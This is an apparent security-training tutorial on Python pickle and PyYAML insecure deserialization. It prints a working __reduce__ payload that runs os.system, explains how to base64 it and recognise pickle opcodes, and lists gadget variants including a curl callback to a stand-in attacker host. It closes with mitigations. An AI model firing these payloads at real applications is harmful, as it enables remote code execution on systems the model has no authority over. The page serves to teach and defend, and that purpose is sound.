Insecure Deserialization: From Serialized Blob to Remote Code Execution
Python Pickle Exploitation
Why pickle.loads() on untrusted data is RCE by design: the __reduce__ method runs code during unpickling, where Python apps pickle, and the yaml.load cousin.
Published
Pickle is the bluntest deserialization bug: the format is designed to run code during reconstruction, so pickle.loads() on anything an attacker controls is remote code execution by definition. This page covers the __reduce__ payload and where Python apps pickle. Practice on a free live target.
Why pickle.loads() is RCE by design
The pickle format can encode "to rebuild this object, call this function with these arguments." Unpickling honors that faithfully. There is no parser bug to exploit and no safe mode for arbitrary pickles: running pickle.loads() on untrusted bytes means running whatever the bytes say. The Python documentation says so outright.
The reduce payload
__reduce__ is the hook an object uses to describe its own reconstruction. If it returns (callable, args), unpickling runs callable(*args). That is all you need:
import pickle, base64, os
class RCE:
def __reduce__(self):
# (callable, args) -> callable(*args) runs during unpickling
return (os.system, ('id > /tmp/pwn',))
raw = pickle.dumps(RCE()) # send this to a raw pickle.loads(bytes) sink
payload = base64.b64encode(raw) # or base64 it for a cookie/JSON carrier the app decodes
print(payload.decode())When the target unpickles your blob, os.system('id > /tmp/pwn') runs on its host. Match the encoding to the sink: a raw pickle.loads(body) takes the pickle.dumps() bytes directly, while a cookie or JSON carrier that the app base64-decodes first takes the base64 form. Sending base64 to a raw sink just fails to unpickle.
Pickle opcodes on the wire
You will recognize pickle by its opcodes, even base64-encoded:
\x80 \x04 PROTO + protocol version (4, the Python 3.8+ default)
\x8c SHORT_BINUNICODE: push a string (e.g. "os")
\x93 STACK_GLOBAL: resolve module.attr (e.g. os.system) [proto 4]
c GLOBAL: the readable module.attr form [proto 0, text-mode]
R REDUCE: call the callable with the argument tuple
. STOP: end of the pickleA base64 blob that decodes to bytes starting \x80\x04 and containing R (0x52) and a trailing . (0x2e) is a pickle. Modern protocol-4 pickles resolve globals with \x93, while the readable c opcode appears in old text-mode (protocol 0) pickles.
Where Python apps pickle
Pickle hides in infrastructure, not usually in obvious request bodies:
Sessions a framework storing the session as a pickle (older setups)
Caches Redis/memcached values pickled by the app
Task queues Celery with the pickle serializer (not the default now)
Inter-service one service unpickling another's payloadAny of these that pass through attacker influence is a sink.
The yaml.load cousin (modern caveat)
PyYAML's yaml.load used to run code via object tags, but the defaults changed:
!!python/object/apply:os.system ["id"] the classic YAML RCE tagyaml.unsafe_load(data) # fires the tag (RCE)
yaml.load(data, Loader=yaml.Loader) # fires the tag (RCE)
yaml.load(data) # 5.1+ defaults to FullLoader (but 5.1-5.3.0 was bypassable, CVE-2020-1747; safe 5.3.1+); 6.0 requires a Loader
yaml.safe_load(data) # safe, the correct choiceSo the YAML payload only fires when the app uses an unsafe loader explicitly. On a bare modern yaml.load it does not. Audit for unsafe_load and Loader=Loader/UnsafeLoader.
Edge variants
return (os.system, ('curl http://attacker.oast',)) # blind: OOB callback
return (__import__('subprocess').getoutput, ('id',)) # only if the app echoes the deserialized value back
return (eval, ("__import__('os').system('id')",)) # eval gadgetFixing it
- Never unpickle untrusted data. There is no safe configuration for arbitrary pickles.
- Use a data format (JSON) and parse into fixed types for anything crossing a trust boundary.
- Use
yaml.safe_load, neverunsafe_loadorLoader=Loader, on external YAML.
Full guidance is in preventing insecure deserialization. Next, understand the chaining that powers the compiled languages in magic methods and gadget chains, or try a pickle on a free lab.
← Back to Insecure Deserialization: From Serialized Blob to Remote Code Execution